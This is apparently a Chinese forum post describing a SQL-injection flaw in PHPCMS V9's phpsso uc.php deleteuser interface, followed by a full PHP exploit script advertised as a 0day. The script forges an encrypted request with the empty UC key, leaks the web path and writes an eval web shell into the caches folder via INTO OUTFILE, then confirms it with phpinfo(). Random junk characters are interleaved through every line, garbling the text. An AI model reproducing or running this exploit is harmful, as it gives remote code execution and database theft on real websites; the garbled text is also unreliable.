PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
9 r$ \; B- S. U* @- ^9 I/ _$ {: p
/ s9 B/ _3 R2 b; P3 J# K- Z4 M所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* m4 q8 t# D* ]% G. [9 ?& J) c
: y8 O( d( i; w' K7 q
漏洞分析:& ~( U! |6 [7 Z# Y
1.未启用ucenter服务的情况下uc_key为空6 g o! J6 w3 D( z5 j6 O% \- E
define('UC_KEY', pc_base::load_config('system', 'uc_key'));$ G5 b5 v( h8 d* n6 g
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。& G1 e. }9 `/ p2 e2 f
public function deleteuser($get,$post) {
r% j" ~. t9 i% M0 J+ L pc_base::load_app_func('global', 'admin');6 n* y$ @& K# X- h) {: P N
pc_base::load_app_class('messagequeue', 'admin' , 0);. r0 I7 i) S- E0 d4 ~
$ids = new_stripslashes($get['ids']);( O# a% f) \* D
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
0 T, _& H' q) n& fSQL语句为
1 \) f3 c; l( ?2 m8 O# y0 bSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: C" Q* s n% G
/ X$ g) f$ o6 i9 r4 t3 l利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, q4 a: \0 h9 r- G6 S5 l. M
<?php0 ^2 H6 F: t* L. B: q5 P8 ?
print_r('
& d& T. Z+ P; I- V$ x; ^! {! S% I& h* `---------------------------------------------------------------------------
: Q/ h( f9 r6 E. n; xPHPcms (v9 or Old Version) uc api sql injection 0day
9 o4 o- G. H$ Z3 x; N# V+ sby rayh4c#80sec.com
, d2 d. Z8 e+ p% m; K4 w---------------------------------------------------------------------------# A' Q. [5 @% Q X2 z# z8 e7 M
');
2 @" r" @6 n! t
/ H4 D7 I7 o& B; J, wif ($argc<3) {- ?: c7 `0 T, E& a+ o
print_r(': E( T6 _. {5 I* K) i5 T! d
---------------------------------------------------------------------------
, @' c s! S8 b; [6 ^6 \: y% A4 h+ N! }$ ^. LUsage: php '.$argv[0].' host path OPTIONS: q) `9 p9 [: I6 \5 Z- \, D- I
host: target server (ip/hostname)
# ~6 G9 p% K& F, l# e; apath: path to phpcms
3 S E( p) u- @% a6 Z% nOptions:4 v% b7 x* a1 ~1 R0 ^8 m- Q
-p[port]: specify a port other than 80- u5 Q, S3 e. I9 Z
-P[ip:port]: specify a proxy
3 g! l1 J O: `! XExample:2 X9 \% q( q2 R; v6 R' ]2 X
php '.$argv[0].' localhost /
+ U& j& ~1 `9 }# Tphp '.$argv[0].' localhost /phpcms/ -p81
6 P4 O, W" `2 l3 }" g1 aphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; }6 r3 U7 c- V) q4 S2 _8 M. C---------------------------------------------------------------------------+ X, o5 l) w8 B& N/ k2 K
');
2 }- z2 ~7 q! i: g: J die;, ~ \# S4 J: Z _/ c+ R
}/ w+ E- d$ l7 l
/ _0 P0 J: g9 o+ D3 N2 P6 I
error_reporting(7);( m' v# R, m( L; e3 g
ini_set("max_execution_time",0);
$ {4 p$ {- |. R& ?2 v! W9 Bini_set("default_socket_timeout",5);+ ]; v$ C( @$ ^+ ?# K
! v9 J# F+ f0 F) s7 x$ k) F, L( x6 Qfunction quick_dump($string)
H( T8 {. c" |9 d, o: Y{7 P) { a( q" H' s5 o+ L" r
$result='';$exa='';$cont=0;! k. T e; a+ i% p$ h9 [9 h7 _
for ($i=0; $i<=strlen($string)-1; $i++). E5 \" J( I' J) d8 H/ k/ M% p
{9 |/ x M/ q7 p E
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
6 {0 X r4 o5 s/ v: c2 H {$result.=" .";}+ F7 [$ r. l# F4 S/ Z: G: c! h
else
H3 G) _% w. T; ]- j {$result.=" ".$string[$i];}
( S/ `* V, ?8 h' v# B if (strlen(dechex(ord($string[$i])))==2)
% ?& t" ^* u5 ^/ z# s) w {$exa.=" ".dechex(ord($string[$i]));}
8 e5 K( u2 d9 } else; R1 q* }" `. V. j: D Z; F, F/ ?% C
{$exa.=" 0".dechex(ord($string[$i]));}
! Y. s( B1 G$ L8 j $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
. g. ~# ]0 y+ Z* w) [4 s; ~4 { }
, D/ S& i) E3 n) _1 }' } return $exa."\r\n".$result;
, m$ Q4 B9 d; q1 m6 Q+ G9 s4 w}
- S& U& z& u9 G& C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';! [( O2 q! E6 \1 V9 v5 k! Q! E
+ i$ W6 D$ i) o# a% X1 y% b6 @
function send($packet), ?: z, l: _ ?$ f* X
{
0 A; B" C( X9 C9 o$ O2 g global $proxy, $host, $port, $html, $proxy_regex;
" W" D1 p* r( ? if ($proxy=='') {
7 ]% v+ k4 a9 [7 O x0 M $ock=fsockopen(gethostbyname($host),$port);# F8 b S l& f7 E* M1 y" Y
if (!$ock) {1 x. k2 ]5 u% u0 ]) Q
echo 'No response from '.$host.':'.$port; die;
- l7 S/ X4 u: |7 Q0 g }1 ~0 M" {9 @& N6 v" g, R! M6 v% w
}8 c- Z6 E1 H# m1 p8 M t0 R
else {
0 E4 ~& {8 X4 c9 A! Z% y- J $c = preg_match($proxy_regex,$proxy);) \( E; e% {8 W; Z3 `# m
if (!$c) {& j' {: r+ \; h0 R4 p
echo 'Not a valid proxy...';die;
4 k5 k( f0 z5 k3 Y- ?( ~' s( a" _ }8 G; z) _+ \5 T: }8 \6 h+ V7 h
$parts=explode(':',$proxy);
# e8 f6 G# Z3 E/ C1 E2 z $parts[1]=(int)$parts[1];
- |9 Z* t: A9 G- k5 I$ a echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";8 e: V+ V2 o i% `# R" v5 {# x+ T
$ock=fsockopen($parts[0],$parts[1]);
, a3 C3 r/ I6 b& g if (!$ock) {
; ?+ i2 X/ X; ~5 Y( B& j K3 o echo 'No response from proxy...';die;- v) V$ I+ d& P# u1 d
}( |2 O- |8 S& s/ a# U/ _
}' K: a4 M# w, e
fputs($ock,$packet);
6 v- D/ o/ s- f2 W2 P2 P if ($proxy=='') {
, r; X/ |5 e" K( u# u $html='';
' i4 x1 U/ q* b1 `" V' A while (!feof($ock)) {) u* ]2 b* T, F$ Q. p% ~
$html.=fgets($ock);# Z0 l1 [* X4 d3 C2 F6 d7 Z6 j+ k: A
}
7 g" O- z# O. W: p8 [" W }- ? u9 \/ B, Q" V- A. C( J+ m- @
else {
. |5 H, Y1 O" O $html='';) G% T/ B) X* }" ?4 Z2 p% n W; K; O7 {2 z
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% X0 y% u, _' h! m! c$ P
$html.=fread($ock,1);
& l3 b' n: C8 P }
! H4 A, h: z0 U0 G! K }
9 X* @$ e4 R; E fclose($ock);
/ c& V! ?" h4 _$ C2 K: P' s% S}
9 |& d8 G0 g* D* Q8 \
2 ]% @7 A% K5 B( a3 x$host=$argv[1];
% U7 p. Z" d+ u& l, v, F D$path=$argv[2];
* V: E; }6 O7 ^( S2 `" H1 }+ |$port=80;
$ c, ?6 q7 m# ^- T- y# d7 T$proxy="";) B% [. ?. b. O/ M# Y% ~) ]9 `
for ($i=3; $i<$argc; $i++){
' W8 V e$ ~9 ?9 U, R( l' n$temp=$argv[$i][0].$argv[$i][1];9 A/ Q. ?8 V) B- d4 g
if ($temp=="-p")5 w$ e! V: t: x
{
8 a1 G. t! W+ K4 A$ ^ $port=(int)str_replace("-p","",$argv[$i]);
& B% ?9 k' u! X" F# B}
. }/ N9 y* a' M; c9 _if ($temp=="-P")# b0 F2 Q- X' a1 P! w
{( L5 Y0 R" r/ z2 N3 V9 D$ h
$proxy=str_replace("-P","",$argv[$i]);
) M0 p; L. b: W: E( X}# D) Q2 m) y2 ]- c7 |
}
9 M5 L! _9 c9 O* e( |7 A6 w4 T; i$ M4 r3 H# s
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}4 N6 j: u0 q# ?! V9 T& K( g
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}/ t. r+ Y# z* p
\3 e8 Q+ X; \0 Y
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { M% Z1 S- x% c# h" U# b
; X6 ^2 J% z5 l4 ] $ckey_length = 4;
2 B1 K, T- ~' t, L2 ~0 l6 C9 f2 r) i/ D/ m( K
$key = md5($key ? $key : '');
$ i4 b1 q6 M) U. H( X $keya = md5(substr($key, 0, 16));
; f8 Y5 D* X4 v/ | $keyb = md5(substr($key, 16, 16));1 e9 H4 i- a9 p8 b; `, ^6 A
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
+ h! ]! ]5 g- h4 z
( ]! A2 h* P) S) w! w4 W6 f; ` $cryptkey = $keya.md5($keya.$keyc);
4 {2 y. S' y- ? $key_length = strlen($cryptkey);5 u; ]& q( u ` s, a& g+ c9 x
% O: p7 `7 c: G# n $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
* S+ y2 c" t \6 L3 ] $string_length = strlen($string);' E: u+ H( R6 @) \# k
3 R# r* d! l* n' Z6 |. U $result = '';
6 h5 ~' D& M3 ~% k $box = range(0, 255);
8 V+ o3 B3 E {; f: J- E1 r$ k" f g* v; d/ [4 v; N
$rndkey = array();3 G) M7 v$ e" f- v f7 e
for($i = 0; $i <= 255; $i++) {: Y8 O7 o6 g) ~+ m! c5 d9 c
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
- |8 G g3 D) U5 n }* Z* B" d+ \; ]8 N! T: I. ?
3 F0 r0 d+ _) u" F for($j = $i = 0; $i < 256; $i++) {7 }3 k. e' g4 y; s1 E9 D4 L# ?
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
& l& q9 r; F8 W $tmp = $box[$i];
8 b9 J0 T+ Y2 w7 b $box[$i] = $box[$j];* N8 l0 d, b2 }/ C+ s6 \' Y
$box[$j] = $tmp;; ?/ W, q& s$ U' [5 z, r
}6 h. a0 D, K8 ?
8 N( @6 }& \4 h) N2 l+ V
for($a = $j = $i = 0; $i < $string_length; $i++) {
9 F, G1 s; n6 {( g0 I $a = ($a + 1) % 256;
+ ?; |& Y# {9 L3 b+ }# a( R $j = ($j + $box[$a]) % 256;7 F+ ]5 l) ^, ^
$tmp = $box[$a];3 e0 K, |2 I: s" W2 a5 Z
$box[$a] = $box[$j];
: K: M; ~" Y. |3 `: b6 G $box[$j] = $tmp;2 `6 e. f- K1 g, l5 R& p
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
# M" A9 C, n2 \# s }) a" E4 W1 x, S
7 r; e/ C4 i! w) b
if($operation == 'DECODE') {, q* e/ S& q# u% R
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 n+ T. |$ i# y, D4 n
return substr($result, 26);
0 V) k0 G, p9 N( c } else {5 X: M( Q2 X! U+ i8 X7 N
return '';6 f% V# q: @. c6 g. Y3 W4 e
}5 r$ K A. S, q+ W
} else {( V# D. Y& m4 c+ L8 r
return $keyc.str_replace('=', '', base64_encode($result));. `+ h+ ]1 Y% v7 @/ u9 O9 |) }
}/ r0 U8 j7 `9 B3 M; E0 t; J/ {. A% a
) ^" ?& m4 G0 L8 C3 q& G}
+ j8 v4 ?; W7 M8 b# Z) ~7 H; G; [( D l( {
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( g: Z. k' g, z; d y+ [( E7 c5 a$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 _0 j* k9 a* Q6 B# a
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 m: ^( A$ S0 r( c6 I$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 l0 n0 m+ ?+ h( v, I
$packet.="User-Agent: Mozilla/5.0\r\n";- [1 T9 h! _1 M7 l" a( o
$packet.="Host: ".$host."\r\n";
N R& Q3 g# p. A2 o5 ]$packet.="Connection: Close\r\n\r\n";
4 ~/ V3 {' p. }3 ]# ^send($packet);1 u8 j- T7 x: ~. _
if(strpos($html,"MySQL Errno") > 0){2 k; K8 E3 c3 S! y! ]% `
echo "[2] 发现存在SQL注入漏洞"."\n";
w# ?7 d2 |" [7 I& Decho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, v* q# B. k, O. a& ] u
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";+ `7 h i9 p4 H" F: ]
$packet.="User-Agent: Mozilla/5.0\r\n";
0 r8 W6 A; X$ r! o& y/ Q% }% x$packet.="Host: ".$host."\r\n";
) j9 b$ ?' I" R5 _, P$packet.="Connection: Close\r\n\r\n";
& Y6 y3 b7 T, E$ y8 l+ ]send($packet);
/ \% w% [0 L+ jpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);+ Y' ?1 ` u7 n# Z
//print_r($matches);
% E+ |9 S9 `3 `- N- sif(!empty($matches)){5 W) q, w" F7 B3 J+ }+ H7 g1 F
echo "[4] 得到web路径 " . $matches[0]."\n";4 C) o; e3 s" T2 B$ e
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";; \9 C+ d9 y8 ^$ T+ u3 h$ g
$SQL = "time=999999999999999999999999&ids=1)";
) R4 r/ j; \9 g( |' N" D; a$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- N0 q" ]3 X2 N' F, a7 O6 s
$SQL.="&action=deleteuser";
. L$ |: l& \8 x, A* }/ |$SQL = urlencode(authcode($SQL, "ENCODE", "")); w7 h. l' }/ ]# p3 v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ D: k8 I1 T$ @8 k4 V: w# [5 ?$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# _8 U6 I1 t9 S, `) d$packet.="User-Agent: Mozilla/5.0\r\n";
/ |) S2 }. M7 @, y1 [' g- D$packet.="Host: ".$host."\r\n";
- L, }6 ?. F8 s0 H+ v1 Y% D' _0 R$packet.="Connection: Close\r\n\r\n";
9 y4 D6 Y- K4 e( v# L- msend($packet);6 s O& B2 W4 P' Q
if(strpos($html,"Access denied") > 0){9 u, W; M* y7 O, T9 ?
echo "[-] MYSQL权限过低 禁止写入文件 ";
* I% s$ B. }+ a; ]5 n# Ddie;
3 N6 C) y) _; f2 Q! e' X}& I! S, _8 Z( i1 O4 m
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";# Y0 ?+ Q! u2 t7 p
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";1 R+ R: p3 e3 C- w
$packet.="User-Agent: Mozilla/5.0\r\n";. J7 f4 \- S D1 S2 `
$packet.="Host: ".$host."\r\n";7 W- {* P; v: n+ v9 Q
$packet.="Connection: Close\r\n\r\n";
7 c: W$ q+ d; f1 u' Z! @+ v. b( Gsend($packet);
$ y& u: B" r: l2 H4 Oif(strpos($html,"<title>phpinfo()</title>") > 0){; J* m5 H1 T4 {0 Z6 e
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
" T& N% g8 c! ^5 Q}
" i/ M3 L$ R& K! K4 v' w. v$ E4 V}else{
. o) n; j! U3 ~; C! R0 Kecho "[-]未取到web路径 ";. E# c/ l) _5 Q
} F# B) k$ E Z
}else{9 s- H9 g2 y* O! K& h! f# y
echo "[*]不存在SQL注入漏洞"."\n";4 B3 x" c7 d1 C6 ~' V7 |
}# J& T, B# y V) i# B5 {
: w! [9 z l' g3 {' N3 N4 |?>+ t9 |/ O& {" M! ~6 c
|